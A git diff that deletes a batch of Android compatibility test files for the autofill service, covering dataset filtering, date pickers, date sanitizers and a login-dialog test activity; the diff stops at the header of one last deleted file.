-        mUiBot.selectByRelativeId(ID_USERNAME);
-        mUiBot.waitForIdle();
-        sReplier.getNextFillRequest();
-
-        // With no filter text all datasets should be shown
-        mUiBot.assertDatasets(plain, regexPlain, authRegex, kitchnSync);
-
-        // All datasets start with 'a'
-        sendKeyEvent("KEYCODE_A");
-        mUiBot.assertDatasets(plain, regexPlain, authRegex, kitchnSync);
-
-        // Only the regex datasets should start with 'ab'
-        sendKeyEvent("KEYCODE_B");
-        mUiBot.assertDatasets(regexPlain, authRegex, kitchnSync);
-    }
-
-    @Test
-    @AppModeFull(reason = "testFilter() is enough")
-    public void testFilter_resetFilter_chooseFirst() throws Exception {
-        resetFilterTest(1);
-    }
-
-    @Test
-    @AppModeFull(reason = "testFilter() is enough")
-    public void testFilter_resetFilter_chooseSecond() throws Exception {
-        resetFilterTest(2);
-    }
-
-    @Test
-    @AppModeFull(reason = "testFilter() is enough")
-    public void testFilter_resetFilter_chooseThird() throws Exception {
-        resetFilterTest(3);
-    }
-
-    // Tests that datasets are re-shown and filtering still works after clearing a selected value.
-    private void resetFilterTest(int number) throws Exception {
-        final String aa = "Two A's";
-        final String ab = "A and B";
-        final String b = "Only B";
-
-        enableService();
-
-        // Set expectations.
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .addDataset(new CannedDataset.Builder()
-                        .setField(ID_USERNAME, "aa")
-                        .setPresentation(aa, isInlineMode())
-                        .build())
-                .addDataset(new CannedDataset.Builder()
-                        .setField(ID_USERNAME, "ab")
-                        .setPresentation(ab, isInlineMode())
-                        .build())
-                .addDataset(new CannedDataset.Builder()
-                        .setField(ID_USERNAME, "b")
-                        .setPresentation(b, isInlineMode())
-                        .build())
-                .build());
-
-        final String chosenOne;
-        switch (number) {
-            case 1:
-                chosenOne = aa;
-                mActivity.expectAutoFill("aa");
-                break;
-            case 2:
-                chosenOne = ab;
-                mActivity.expectAutoFill("ab");
-                break;
-            case 3:
-                chosenOne = b;
-                mActivity.expectAutoFill("b");
-                break;
-            default:
-                throw new IllegalArgumentException("invalid dataset number: " + number);
-        }
-
-        final MyAutofillCallback callback = mActivity.registerCallback();
-        final EditText username = mActivity.getUsername();
-
-        // Trigger auto-fill.
-        mUiBot.selectByRelativeId(ID_USERNAME);
-        callback.assertUiShownEvent(username);
-
-        sReplier.getNextFillRequest();
-
-        // With no filter text all datasets should be shown
-        mUiBot.assertDatasets(aa, ab, b);
-
-        // select the choice
-        mUiBot.selectDataset(chosenOne);
-        callback.assertUiHiddenEvent(username);
-        mUiBot.assertNoDatasets();
-
-        // Check the results.
-        mActivity.assertAutoFilled();
-
-        // Change the filled text and check that filtering still works.
-        changeUsername("a");
-        mUiBot.assertDatasets(aa, ab);
-
-        // Reset back to all choices
-        changeUsername("");
-        mUiBot.assertDatasets(aa, ab, b);
-    }
-}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/DatasetTest.java b/tests/autofillservice/src/android/autofillservice/cts/DatasetTest.java
deleted file mode 100644
index 48af2cc..0000000
--- a/tests/autofillservice/src/android/autofillservice/cts/DatasetTest.java
+++ /dev/null
@@ -1,207 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.autofillservice.cts;
-
-import static com.google.common.truth.Truth.assertThat;
-
-import static org.mockito.Mockito.mock;
-import static org.testng.Assert.assertThrows;
-
-import android.app.slice.Slice;
-import android.app.slice.SliceSpec;
-import android.net.Uri;
-import android.platform.test.annotations.AppModeFull;
-import android.service.autofill.Dataset;
-import android.service.autofill.InlinePresentation;
-import android.util.Size;
-import android.view.autofill.AutofillId;
-import android.view.autofill.AutofillValue;
-import android.widget.RemoteViews;
-import android.widget.inline.InlinePresentationSpec;
-
-import androidx.test.ext.junit.runners.AndroidJUnit4;
-
-import org.junit.Test;
-import org.junit.runner.RunWith;
-
-import java.util.regex.Pattern;
-
-@RunWith(AndroidJUnit4.class)
-@AppModeFull(reason = "Unit test")
-public class DatasetTest {
-
-    private final AutofillId mId = new AutofillId(42);
-    private final AutofillValue mValue = AutofillValue.forText("ValuableLikeGold");
-    private final Pattern mFilter = Pattern.compile("whatever");
-    private final InlinePresentation mInlinePresentation = new InlinePresentation(
-            new Slice.Builder(new Uri.Builder().appendPath("DatasetTest").build(),
-                    new SliceSpec("DatasetTest", 1)).build(),
-            new InlinePresentationSpec.Builder(new Size(10, 10),
-                    new Size(50, 50)).build(), /* pinned= */ false);
-
-    private final RemoteViews mPresentation = mock(RemoteViews.class);
-
-    @Test
-    public void testBuilder_nullPresentation() {
-        assertThrows(NullPointerException.class, () -> new Dataset.Builder((RemoteViews) null));
-    }
-
-    @Test
-    public void testBuilder_nullInlinePresentation() {
-        assertThrows(NullPointerException.class,
-                () -> new Dataset.Builder((InlinePresentation) null));
-    }
-
-    @Test
-    public void testBuilder_validPresentations() {
-        assertThat(new Dataset.Builder(mPresentation)).isNotNull();
-        assertThat(new Dataset.Builder(mInlinePresentation)).isNotNull();
-    }
-
-    @Test
-    public void testBuilder_setNullInlinePresentation() {
-        final Dataset.Builder builder = new Dataset.Builder(mPresentation);
-        assertThrows(NullPointerException.class, () -> builder.setInlinePresentation(null));
-    }
-
-    @Test
-    public void testBuilder_setInlinePresentation() {
-        assertThat(new Dataset.Builder().setInlinePresentation(mInlinePresentation)).isNotNull();
-    }
-
-    @Test
-    public void testBuilder_setValueNullId() {
-        final Dataset.Builder builder = new Dataset.Builder(mPresentation);
-        assertThrows(NullPointerException.class, () -> builder.setValue(null, mValue));
-    }
-
-    @Test
-    public void testBuilder_setValueWithoutPresentation() {
-        // Just assert that it builds without throwing an exception.
-        assertThat(new Dataset.Builder().setValue(mId, mValue).build()).isNotNull();
-    }
-
-    @Test
-    public void testBuilder_setValueWithNullPresentation() {
-        final Dataset.Builder builder = new Dataset.Builder();
-        assertThrows(NullPointerException.class, () -> builder.setValue(mId, mValue,
-                (RemoteViews) null));
-    }
-
-    @Test
-    public void testBuilder_setValueWithBothPresentation_nullPresentation() {
-        final Dataset.Builder builder = new Dataset.Builder();
-        assertThrows(NullPointerException.class, () -> builder.setValue(mId, mValue,
-                null, mInlinePresentation));
-    }
-
-    @Test
-    public void testBuilder_setValueWithBothPresentation_nullInlinePresentation() {
-        final Dataset.Builder builder = new Dataset.Builder();
-        assertThrows(NullPointerException.class, () -> builder.setValue(mId, mValue,
-                mPresentation, null));
-    }
-
-    @Test
-    public void testBuilder_setValueWithBothPresentation_bothNull() {
-        final Dataset.Builder builder = new Dataset.Builder();
-        assertThrows(NullPointerException.class, () -> builder.setValue(mId, mValue,
-                (RemoteViews) null, null));
-    }
-
-    @Test
-    public void testBuilder_setFilteredValueWithNullFilter() {
-        assertThat(new Dataset.Builder(mPresentation).setValue(mId, mValue, (Pattern) null).build())
-                .isNotNull();
-    }
-
-    @Test
-    public void testBuilder_setFilteredValueWithPresentation_nullFilter() {
-        assertThat(new Dataset.Builder().setValue(mId, mValue, null, mPresentation).build())
-                .isNotNull();
-    }
-
-    @Test
-    public void testBuilder_setFilteredValueWithPresentation_nullPresentation() {
-        final Dataset.Builder builder = new Dataset.Builder();
-        assertThrows(NullPointerException.class, () -> builder.setValue(mId, mValue, mFilter,
-                null));
-    }
-
-    @Test
-    public void testBuilder_setFilteredValueWithoutPresentation() {
-        final Dataset.Builder builder = new Dataset.Builder();
-        assertThrows(IllegalStateException.class, () -> builder.setValue(mId, mValue, mFilter));
-    }
-
-    @Test
-    public void testBuilder_setFilteredValueWithBothPresentation_nullPresentation() {
-        final Dataset.Builder builder = new Dataset.Builder();
-        assertThrows(NullPointerException.class, () -> builder.setValue(mId, mValue, mFilter,
-                null, mInlinePresentation));
-    }
-
-    @Test
-    public void testBuilder_setFilteredValueWithBothPresentation_nullInlinePresentation() {
-        final Dataset.Builder builder = new Dataset.Builder();
-        assertThrows(NullPointerException.class, () -> builder.setValue(mId, mValue, mFilter,
-                mPresentation, null));
-    }
-
-    @Test
-    public void testBuilder_setFilteredValueWithBothPresentation_bothNull() {
-        final Dataset.Builder builder = new Dataset.Builder();
-        assertThrows(NullPointerException.class, () -> builder.setValue(mId, mValue, mFilter,
-                null, null));
-    }
-
-    @Test
-    public void testBuilder_setFieldInlinePresentations() {
-        assertThat(new Dataset.Builder().setFieldInlinePresentation(mId, mValue, mFilter,
-                mInlinePresentation)).isNotNull();
-    }
-
-    @Test
-    public void testBuild_noValues() {
-        final Dataset.Builder builder = new Dataset.Builder();
-        assertThrows(IllegalStateException.class, () -> builder.build());
-    }
-
-    @Test
-    public void testNoMoreInteractionsAfterBuild() {
-        final Dataset.Builder builder = new Dataset.Builder();
-        builder.setValue(mId, mValue, mPresentation);
-        assertThat(builder.build()).isNotNull();
-        assertThrows(IllegalStateException.class, () -> builder.build());
-        assertThrows(IllegalStateException.class,
-                () -> builder.setInlinePresentation(mInlinePresentation));
-        assertThrows(IllegalStateException.class, () -> builder.setValue(mId, mValue));
-        assertThrows(IllegalStateException.class,
-                () -> builder.setValue(mId, mValue, mPresentation));
-        assertThrows(IllegalStateException.class,
-                () -> builder.setValue(mId, mValue, mFilter));
-        assertThrows(IllegalStateException.class,
-                () -> builder.setValue(mId, mValue, mFilter, mPresentation));
-        assertThrows(IllegalStateException.class,
-                () -> builder.setValue(mId, mValue, mPresentation, mInlinePresentation));
-        assertThrows(IllegalStateException.class,
-                () -> builder.setValue(mId, mValue, mFilter, mPresentation, mInlinePresentation));
-        assertThrows(IllegalStateException.class,
-                () -> builder.setFieldInlinePresentation(mId, mValue, mFilter,
-                        mInlinePresentation));
-    }
-}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/DatePickerCalendarActivity.java b/tests/autofillservice/src/android/autofillservice/cts/DatePickerCalendarActivity.java
deleted file mode 100644
index 4873c39..0000000
--- a/tests/autofillservice/src/android/autofillservice/cts/DatePickerCalendarActivity.java
+++ /dev/null
@@ -1,24 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.autofillservice.cts;
-
-public class DatePickerCalendarActivity extends AbstractDatePickerActivity {
-
-    @Override
-    protected int getContentView() {
-        return R.layout.date_picker_calendar_activity;
-    }
-}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/DatePickerCalendarActivityTest.java b/tests/autofillservice/src/android/autofillservice/cts/DatePickerCalendarActivityTest.java
deleted file mode 100644
index decc4b7..0000000
--- a/tests/autofillservice/src/android/autofillservice/cts/DatePickerCalendarActivityTest.java
+++ /dev/null
@@ -1,34 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.autofillservice.cts;
-
-import android.platform.test.annotations.AppModeFull;
-
-@AppModeFull(reason = "Unit test")
-public class DatePickerCalendarActivityTest extends DatePickerTestCase<DatePickerCalendarActivity> {
-
-    @Override
-    protected AutofillActivityTestRule<DatePickerCalendarActivity> getActivityRule() {
-        return new AutofillActivityTestRule<DatePickerCalendarActivity>(
-                DatePickerCalendarActivity.class) {
-            @Override
-            protected void afterActivityLaunched() {
-                mActivity = getActivity();
-            }
-        };
-    }
-}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/DatePickerSpinnerActivity.java b/tests/autofillservice/src/android/autofillservice/cts/DatePickerSpinnerActivity.java
deleted file mode 100644
index c9d39f8..0000000
--- a/tests/autofillservice/src/android/autofillservice/cts/DatePickerSpinnerActivity.java
+++ /dev/null
@@ -1,24 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.autofillservice.cts;
-
-public class DatePickerSpinnerActivity extends AbstractDatePickerActivity {
-
-    @Override
-    protected int getContentView() {
-        return R.layout.date_picker_spinner_activity;
-    }
-}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/DatePickerSpinnerActivityTest.java b/tests/autofillservice/src/android/autofillservice/cts/DatePickerSpinnerActivityTest.java
deleted file mode 100644
index 4b63e10..0000000
--- a/tests/autofillservice/src/android/autofillservice/cts/DatePickerSpinnerActivityTest.java
+++ /dev/null
@@ -1,34 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.autofillservice.cts;
-
-import android.platform.test.annotations.AppModeFull;
-
-@AppModeFull(reason = "Unit test")
-public class DatePickerSpinnerActivityTest extends DatePickerTestCase<DatePickerSpinnerActivity> {
-
-    @Override
-    protected AutofillActivityTestRule<DatePickerSpinnerActivity> getActivityRule() {
-        return new AutofillActivityTestRule<DatePickerSpinnerActivity>(
-                DatePickerSpinnerActivity.class) {
-            @Override
-            protected void afterActivityLaunched() {
-                mActivity = getActivity();
-            }
-        };
-    }
-}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/DatePickerTestCase.java b/tests/autofillservice/src/android/autofillservice/cts/DatePickerTestCase.java
deleted file mode 100644
index 13cb12b..0000000
--- a/tests/autofillservice/src/android/autofillservice/cts/DatePickerTestCase.java
+++ /dev/null
@@ -1,93 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.autofillservice.cts;
-
-import static android.autofillservice.cts.AbstractDatePickerActivity.ID_DATE_PICKER;
-import static android.autofillservice.cts.AbstractDatePickerActivity.ID_OUTPUT;
-import static android.autofillservice.cts.Helper.assertDateValue;
-import static android.autofillservice.cts.Helper.assertNumberOfChildren;
-import static android.autofillservice.cts.Helper.assertTextAndValue;
-import static android.autofillservice.cts.Helper.assertTextIsSanitized;
-import static android.autofillservice.cts.Helper.findNodeByResourceId;
-import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_GENERIC;
-
-import static com.google.common.truth.Truth.assertWithMessage;
-
-import android.autofillservice.cts.CannedFillResponse.CannedDataset;
-import android.autofillservice.cts.InstrumentedAutoFillService.FillRequest;
-import android.autofillservice.cts.InstrumentedAutoFillService.SaveRequest;
-import android.icu.util.Calendar;
-
-import org.junit.Test;
-
-/**
- * Base class for {@link AbstractDatePickerActivity} tests.
- */
-abstract class DatePickerTestCase<A extends AbstractDatePickerActivity>
-        extends AutoFillServiceTestCase.AutoActivityLaunch<A> {
-
-    protected A mActivity;
-
-    @Test
-    public void testAutoFillAndSave() throws Exception {
-        assertWithMessage("subclass did not set mActivity").that(mActivity).isNotNull();
-
-        // Set service.
-        enableService();
-
-        // Set expectations.
-        final Calendar cal = Calendar.getInstance();
-        cal.set(Calendar.YEAR, 2012);
-        cal.set(Calendar.MONTH, Calendar.DECEMBER);
-        cal.set(Calendar.DAY_OF_MONTH, 20);
-
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .addDataset(new CannedDataset.Builder()
-                    .setPresentation(createPresentation("The end of the world"))
-                    .setField(ID_OUTPUT, "Y U NO CHANGE ME?")
-                    .setField(ID_DATE_PICKER, cal.getTimeInMillis())
-                    .build())
-                .setRequiredSavableIds(SAVE_DATA_TYPE_GENERIC, ID_OUTPUT, ID_DATE_PICKER)
-                .build());
-        mActivity.expectAutoFill("2012/11/20", 2012, Calendar.DECEMBER, 20);
-
-        // Trigger auto-fill.
-        mActivity.onOutput((v) -> v.requestFocus());
-        final FillRequest fillRequest = sReplier.getNextFillRequest();
-
-        // Assert properties of DatePicker field.
-        assertTextIsSanitized(fillRequest.structure, ID_DATE_PICKER);
-        assertNumberOfChildren(fillRequest.structure, ID_DATE_PICKER, 0);
-
-        // Auto-fill it.
-        mUiBot.selectDataset("The end of the world");
-
-        // Check the results.
-        mActivity.assertAutoFilled();
-
-        // Trigger save.
-        mActivity.setDate(2010, Calendar.DECEMBER, 12);
-        mActivity.tapOk();
-
-        mUiBot.updateForAutofill(true, SAVE_DATA_TYPE_GENERIC);
-        final SaveRequest saveRequest = sReplier.getNextSaveRequest();
-        assertWithMessage("onSave() not called").that(saveRequest).isNotNull();
-
-        // Assert sanitization on save: everything should be available!
-        assertDateValue(findNodeByResourceId(saveRequest.structure, ID_DATE_PICKER), 2010, 11, 12);
-        assertTextAndValue(findNodeByResourceId(saveRequest.structure, ID_OUTPUT), "2010/11/12");
-    }
-}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/DateTransformationTest.java b/tests/autofillservice/src/android/autofillservice/cts/DateTransformationTest.java
deleted file mode 100644
index c6385ed..0000000
--- a/tests/autofillservice/src/android/autofillservice/cts/DateTransformationTest.java
+++ /dev/null
@@ -1,99 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.autofillservice.cts;
-
-import static org.mockito.ArgumentMatchers.any;
-import static org.mockito.ArgumentMatchers.argThat;
-import static org.mockito.ArgumentMatchers.eq;
-import static org.mockito.Mockito.never;
-import static org.mockito.Mockito.verify;
-import static org.mockito.Mockito.when;
-import static org.testng.Assert.assertThrows;
-
-import android.icu.text.SimpleDateFormat;
-import android.icu.util.Calendar;
-import android.platform.test.annotations.AppModeFull;
-import android.service.autofill.DateTransformation;
-import android.service.autofill.ValueFinder;
-import android.view.autofill.AutofillId;
-import android.view.autofill.AutofillValue;
-import android.widget.RemoteViews;
-
-import org.junit.Test;
-import org.junit.runner.RunWith;
-import org.mockito.Mock;
-import org.mockito.junit.MockitoJUnitRunner;
-
-@RunWith(MockitoJUnitRunner.class)
-@AppModeFull(reason = "Unit test")
-public class DateTransformationTest {
-
-    @Mock private ValueFinder mValueFinder;
-    @Mock private RemoteViews mTemplate;
-
-    private final AutofillId mFieldId = new AutofillId(42);
-
-    @Test
-    public void testConstructor_nullFieldId() {
-        assertThrows(NullPointerException.class,
-                () -> new DateTransformation(null, new SimpleDateFormat()));
-    }
-
-    @Test
-    public void testConstructor_nullDateFormat() {
-        assertThrows(NullPointerException.class, () -> new DateTransformation(mFieldId, null));
-    }
-
-    @Test
-    public void testFieldNotFound() throws Exception {
-        final DateTransformation trans = new DateTransformation(mFieldId, new SimpleDateFormat());
-
-        trans.apply(mValueFinder, mTemplate, 0);
-
-        verify(mTemplate, never()).setCharSequence(eq(0), any(), any());
-    }
-
-    @Test
-    public void testInvalidAutofillValueType() throws Exception {
-        final DateTransformation trans = new DateTransformation(mFieldId, new SimpleDateFormat());
-
-        when(mValueFinder.findRawValueByAutofillId(mFieldId))
-                .thenReturn(AutofillValue.forText("D'OH"));
-        trans.apply(mValueFinder, mTemplate, 0);
-
-        verify(mTemplate, never()).setCharSequence(eq(0), any(), any());
-    }
-
-    @Test
-    public void testValidAutofillValue() throws Exception {
-        final DateTransformation trans = new DateTransformation(mFieldId,
-                new SimpleDateFormat("MM/yyyy"));
-
-        final Calendar cal = Calendar.getInstance();
-        cal.set(Calendar.YEAR, 2012);
-        cal.set(Calendar.MONTH, Calendar.DECEMBER);
-        cal.set(Calendar.DAY_OF_MONTH, 20);
-
-        when(mValueFinder.findRawValueByAutofillId(mFieldId))
-                .thenReturn(AutofillValue.forDate(cal.getTimeInMillis()));
-
-        trans.apply(mValueFinder, mTemplate, 0);
-
-        verify(mTemplate).setCharSequence(eq(0), any(),
-                argThat(new CharSequenceMatcher("12/2012")));
-    }
-}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/DateValueSanitizerTest.java b/tests/autofillservice/src/android/autofillservice/cts/DateValueSanitizerTest.java
deleted file mode 100644
index fc9f1dd..0000000
--- a/tests/autofillservice/src/android/autofillservice/cts/DateValueSanitizerTest.java
+++ /dev/null
@@ -1,88 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.autofillservice.cts;
-
-import static com.google.common.truth.Truth.assertThat;
-
-import static org.testng.Assert.assertThrows;
-
-import android.icu.text.SimpleDateFormat;
-import android.icu.util.Calendar;
-import android.platform.test.annotations.AppModeFull;
-import android.service.autofill.DateValueSanitizer;
-import android.util.Log;
-import android.view.autofill.AutofillValue;
-
-import androidx.test.ext.junit.runners.AndroidJUnit4;
-
-import org.junit.Test;
-import org.junit.runner.RunWith;
-
-import java.util.Date;
-
-@RunWith(AndroidJUnit4.class)
-@AppModeFull(reason = "Unit test")
-public class DateValueSanitizerTest {
-
-    private static final String TAG = "DateValueSanitizerTest";
-
-    private final SimpleDateFormat mDateFormat = new SimpleDateFormat("MM/yyyy");
-
-    @Test
-    public void testConstructor_nullDateFormat() {
-        assertThrows(NullPointerException.class, () -> new DateValueSanitizer(null));
-    }
-
-    @Test
-    public void testSanitize_nullValue() throws Exception {
-        final DateValueSanitizer sanitizer = new DateValueSanitizer(new SimpleDateFormat());
-        assertThat(sanitizer.sanitize(null)).isNull();
-    }
-
-    @Test
-    public void testSanitize_invalidValue() throws Exception {
-        final DateValueSanitizer sanitizer = new DateValueSanitizer(new SimpleDateFormat());
-        assertThat(sanitizer.sanitize(AutofillValue.forText("D'OH!"))).isNull();
-    }
-
-    @Test
-    public void testSanitize_ok() throws Exception {
-        final Calendar inputCal = Calendar.getInstance();
-        inputCal.set(Calendar.YEAR, 2012);
-        inputCal.set(Calendar.MONTH, Calendar.DECEMBER);
-        inputCal.set(Calendar.DAY_OF_MONTH, 20);
-        final long inputDate = inputCal.getTimeInMillis();
-        final AutofillValue inputValue = AutofillValue.forDate(inputDate);
-        Log.v(TAG, "Input date: " + inputDate + " >> " + new Date(inputDate));
-
-        final Calendar expectedCal = Calendar.getInstance();
-        expectedCal.clear(); // We just care for year and month...
-        expectedCal.set(Calendar.YEAR, 2012);
-        expectedCal.set(Calendar.MONTH, Calendar.DECEMBER);
-        final long expectedDate = expectedCal.getTimeInMillis();
-        final AutofillValue expectedValue = AutofillValue.forDate(expectedDate);
-        Log.v(TAG, "Exected date: " + expectedDate + " >> " + new Date(expectedDate));
-
-        final DateValueSanitizer sanitizer = new DateValueSanitizer(
-                mDateFormat);
-        final AutofillValue sanitizedValue = sanitizer.sanitize(inputValue);
-        final long sanitizedDate = sanitizedValue.getDateValue();
-        Log.v(TAG, "Sanitized date: " + sanitizedDate + " >> " + new Date(sanitizedDate));
-        assertThat(sanitizedDate).isEqualTo(expectedDate);
-        assertThat(sanitizedValue).isEqualTo(expectedValue);
-    }
-}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/DialogLauncherActivity.java b/tests/autofillservice/src/android/autofillservice/cts/DialogLauncherActivity.java
deleted file mode 100644
index 6d36b72..0000000
--- a/tests/autofillservice/src/android/autofillservice/cts/DialogLauncherActivity.java
+++ /dev/null
@@ -1,133 +0,0 @@
-/*
- * Copyright 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.autofillservice.cts;
-
-import static com.google.common.truth.Truth.assertThat;
-import static com.google.common.truth.Truth.assertWithMessage;
-
-import android.app.AlertDialog;
-import android.content.Context;
-import android.graphics.Rect;
-import android.os.Bundle;
-import android.util.DisplayMetrics;
-import android.view.Display;
-import android.view.View;
-import android.view.WindowManager;
-import android.widget.Button;
-import android.widget.EditText;
-
-/**
- * Activity that has buttons to launch dialogs that should then be autofillable.
- */
-public class DialogLauncherActivity extends AbstractAutoFillActivity {
-
-    private FillExpectation mExpectation;
-    private LoginDialog mDialog;
-    Button mLaunchButton;
-
-
-    @Override
-    protected void onCreate(Bundle savedInstanceState) {
-        super.onCreate(savedInstanceState);
-
-        setContentView(R.layout.dialog_launcher_activity);
-        mLaunchButton = findViewById(R.id.launch_button);
-        mDialog = new LoginDialog(this);
-        mLaunchButton.setOnClickListener((v) -> mDialog.show());
-    }
-
-    void onUsername(Visitor<EditText> v) {
-        syncRunOnUiThread(() -> v.visit(mDialog.mUsernameEditText));
-    }
-
-    void launchDialog(UiBot uiBot) throws Exception {
-        syncRunOnUiThread(() -> mLaunchButton.performClick());
-        // TODO: should assert by id, but it's not working
-        uiBot.assertShownByText("Username");
-    }
-
-    void assertInDialogBounds(Rect rect) {
-        final int[] location = new int[2];
-        final View view = mDialog.getWindow().getDecorView();
-        view.getLocationOnScreen(location);
-        assertThat(location[0]).isAtMost(rect.left);
-        assertThat(rect.right).isAtMost(location[0] + view.getWidth());
-        assertThat(location[1]).isAtMost(rect.top);
-        assertThat(rect.bottom).isAtMost(location[1] + view.getHeight());
-    }
-
-    void maximizeDialog() {
-        final WindowManager wm = getWindowManager();
-        final Display display = wm.getDefaultDisplay();
-        final DisplayMetrics metrics = new DisplayMetrics();
-        display.getMetrics(metrics);
-        syncRunOnUiThread(
-                () -> mDialog.getWindow().setLayout(metrics.widthPixels, metrics.heightPixels));
-    }
-
-    void expectAutofill(String username, String password) {
-        assertWithMessage("must call launchDialog first").that(mDialog.mUsernameEditText)
-                .isNotNull();
-        mExpectation = new FillExpectation(username, password);
-        mDialog.mUsernameEditText.addTextChangedListener(mExpectation.mCcUsernameWatcher);
-        mDialog.mPasswordEditText.addTextChangedListener(mExpectation.mCcPasswordWatcher);
-    }
-
-    void assertAutofilled() throws Exception {
-        assertWithMessage("expectAutoFill() not called").that(mExpectation).isNotNull();
-        if (mExpectation.mCcUsernameWatcher != null) {
-            mExpectation.mCcUsernameWatcher.assertAutoFilled();
-        }
-        if (mExpectation.mCcPasswordWatcher != null) {
-            mExpectation.mCcPasswordWatcher.assertAutoFilled();
-        }
-    }
-
-    private final class FillExpectation {
-        private final OneTimeTextWatcher mCcUsernameWatcher;
-        private final OneTimeTextWatcher mCcPasswordWatcher;
-
-        private FillExpectation(String username, String password) {
-            mCcUsernameWatcher = username == null ? null
-                    : new OneTimeTextWatcher("username", mDialog.mUsernameEditText, username);
-            mCcPasswordWatcher = password == null ? null
-                    : new OneTimeTextWatcher("password", mDialog.mPasswordEditText, password);
-        }
-
-        private FillExpectation(String username) {
-            this(username, null);
-        }
-    }
-
-    public final class LoginDialog extends AlertDialog {
-
-        private EditText mUsernameEditText;
-        private EditText mPasswordEditText;
-
-        public LoginDialog(Context context) {
-            super(context);
-        }
-
-        @Override
-        protected void onCreate(Bundle savedInstanceState) {
-            super.onCreate(savedInstanceState);
-
-            setContentView(R.layout.login_activity);
-            mUsernameEditText = findViewById(R.id.username);
-            mPasswordEditText = findViewById(R.id.password);
-        }
-    }
-}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/DialogLauncherActivityTest.java b/tests/autofillservice/src/android/autofillservice/cts/DialogLauncherActivityTest.java
deleted file mode 100644
index 175d0cb..0000000
--- a/tests/autofillservice/src/android/autofillservice/cts/DialogLauncherActivityTest.java
+++ /dev/null
